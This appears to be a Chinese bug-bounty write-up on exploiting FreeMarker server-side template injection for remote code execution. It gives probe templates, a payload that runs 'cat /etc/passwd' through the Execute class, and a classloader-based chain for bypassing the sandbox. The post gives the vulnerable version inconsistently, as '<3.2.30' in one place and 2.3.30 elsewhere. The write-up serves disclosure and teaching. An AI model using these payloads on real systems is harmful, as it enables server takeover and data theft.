突破屏障:利用FreeMarker模板引擎SSTI实现远程代码执行

本文详细分析了FreeMarker模板引擎中存在的服务器端模板注入漏洞,展示了如何利用CVE-2021-25770实现远程代码执行,并提供了绕过沙箱机制的具体技术细节和payload构造方法。

突破屏障:通过FreeMarker模板引擎中的SSTI实现远程代码执行

2023年,我在一个使用过时版本FreeMarker模板引擎的应用程序中发现了一个重大漏洞。该版本存在服务器端模板注入(SSTI)漏洞,使我能够实现远程代码执行(RCE)。在报告该问题后,公司立即采取了行动,实施了沙箱机制来减轻SSTI攻击的风险。然而,由于公司仍在使用FreeMarker版本<3.2.30,存在已知的利用方法可以绕过已实施的沙箱。本文深入探讨了这一发现的细节,重点介绍了发现结果并展示了绕过沙箱机制的步骤。

FreeMarker模板引擎概述

FreeMarker是一个广泛采用的模板引擎,主要用于基于Java的应用程序,以将表示逻辑与业务逻辑分离。它为开发人员提供了创建模板的能力,这些模板将静态内容与动态元素或占位符相结合。这些模板可以用来自各种来源的数据填充,包括Java对象或数据库查询,从而生成动态输出。

使用FreeMarker进行HTML到PDF转换的过程遵循结构化流程:

  1. HTML结构定义:在FreeMarker模板文件中定义所需的HTML结构,包括指定结果PDF文档应包含的内容、格式和样式。

  2. FreeMarker指令:使用FreeMarker指令动态地将数据填充到HTML模板中。这包括遍历集合、有条件地呈现内容和访问变量。FreeMarker指令由<#符号后跟指令名称表示。

  3. 指令块:在FreeMarker指令中,可以定义有条件执行或迭代的代码块。这些块提供了控制数据流和内容生成的灵活性。

  4. HTML渲染:通过将模板与提供的数据合并来渲染FreeMarker模板。合并过程用动态值填充模板,根据指定的逻辑和指令创建最终的HTML输出。

  5. HTML到PDF转换:生成HTML输出后,使用合适的HTML到PDF转换工具或库,这些工具提供API或实用程序来将HTML转换为PDF文档。这些工具处理转换过程,确保结果PDF中HTML布局和内容的完整性。

通过遵循此流程,用户可以有效地利用FreeMarker的强大功能生成动态HTML内容,并无缝地将其转换为PDF格式,从而能够使用HTML内容创建PDF文件。

漏洞发现过程

在应用程序的测试阶段,我观察到使用了诸如<#if>、<#list>、</#list>和</#else>等标签。这些标签提供了有关应用程序使用的底层技术的提示。经过进一步调查,我发现该应用程序正在使用FreeMarker模板引擎。

我进行了一些测试来评估模板引擎的行为。我使用以下代码片段来评估引擎是否正确转义特殊字符、允许变量声明和执行基本算术运算:

1
2
<#assign test = .version>
TEST FOR SSTI: ${3*3}

这些测试旨在验证引擎是否正确处理特殊字符、允许变量赋值以及准确计算算术表达式。

现在,我们需要确认正在使用的引擎版本。我使用以下代码片段来识别版本:

1
2
<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

正如您所观察到的,引擎版本低于2.3.30,这使其容易受到SSTI(服务器端模板注入)(CVE-2021-25770)的攻击。

利用漏洞实现RCE

freemarker.template.utility包中的freemarker.template.utility.Execute类为FreeMarker提供了执行外部命令的能力。通过利用此类,您可以从FreeMarker模板内部运行命令。

要创建精心设计的payload,可以按以下方式构建:

1
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

这将执行命令并显示/etc/passwd文件的内容。

绕过沙箱机制

在报告此问题后,他们在模板引擎中引入了沙箱环境作为预防措施。

在FreeMarker中,沙箱是一种安全功能,限制在模板引擎内执行的功能和操作。它提供了一个受控环境,其中某些潜在风险的操作被禁用或限制,以确保系统的安全性和完整性。通过在FreeMarker中使用沙箱,开发人员可以减轻在模板中执行不受信任或潜在有害代码的风险。它提供了额外的安全层,以防止未经授权的访问、代码注入和其他漏洞。

当尝试注入${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}时,发生了错误,导致抛出堆栈跟踪。

为了验证转义特殊字符、变量赋值和准确计算算术表达式的行为,我执行了以下代码:

1
2
<#assign test = .version>
TEST FOR SSTI: ${10*10}

我注意到它没有转义任何特殊字符并且正在进行乘法运算。

通过运行此代码,打印了FreeMarker版本,提供了有关应用程序中使用的特定FreeMarker版本的信息。

1
2
<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

在确认他们正在使用相同版本的FreeMarker后,已确定如果版本小于2.3.30,则可以绕过。因此,我们将继续构建payload以绕过沙箱。

首先,我们将article.class.protectionDomain.classLoader的值分配给变量classloader。这将允许我们访问与article对象的保护域关联的类加载器。

1
<#assign classloader=article.class.protectionDomain.classLoader>

现在,我们将使用classloader对象的loadClass方法加载freemarker.template.ObjectWrapper类。这允许我们访问ObjectWrapper类的方法和属性,这些方法和属性用于FreeMarker模板引擎中的各种操作和检索与对象包装相关的信息。

通过加载ObjectWrapper类,我们可以在代码中与其功能交互并利用其特性。这包括在FreeMarker模板的上下文中处理对象包装、操作和渲染。

1
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

表达式owc.getField(“DEFAULT_WRAPPER”)用于检索表示ObjectWrapper类中名为"DEFAULT_WRAPPER"的字段的Field对象。getField方法用于根据字段名称获取字段。

随后,在Field对象上调用.get(null)以获取字段的值。由于该字段是静态的且不需要实例,因此传递null作为参数。

1
2
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

这一行负责将从classloader.loadClass(“freemarker.template.utility.Execute”)获得的值分配给变量"ec"。

理论上会发生以下情况:

  • 调用classloader对象的loadClass方法,尝试加载名为"freemarker.template.utility.Execute"的类。
  • 然后将返回的类对象分配给变量ec。
  • Execute类是FreeMarker中的一个实用程序类,可能提供特定功能或实用程序,用于在模板引擎内执行某些操作。

总之,这一行通过loadClass方法使用反射加载Execute实用程序类,并将其分配给变量ec。这允许在后续代码中可能使用Execute类的特性或方法。

1
${dwf.newInstance(ec,null)("cat /etc/passwd")}

这一行负责创建dwf对象的新实例,该对象很可能是DEFAULT_WRAPPER。

在dwf对象上调用newInstance方法,触发创建新实例。在创建新实例时,ec对象作为构造函数参数传递。生成的实例立即作为方法调用,参数为"cat /etc/passwd"。

最终的payload将如下所示:

1
2
3
4
5
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat /etc/passwd")}

这将绕过沙箱并执行命令。

感谢Bhavuk Jain进行校对。希望您喜欢。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计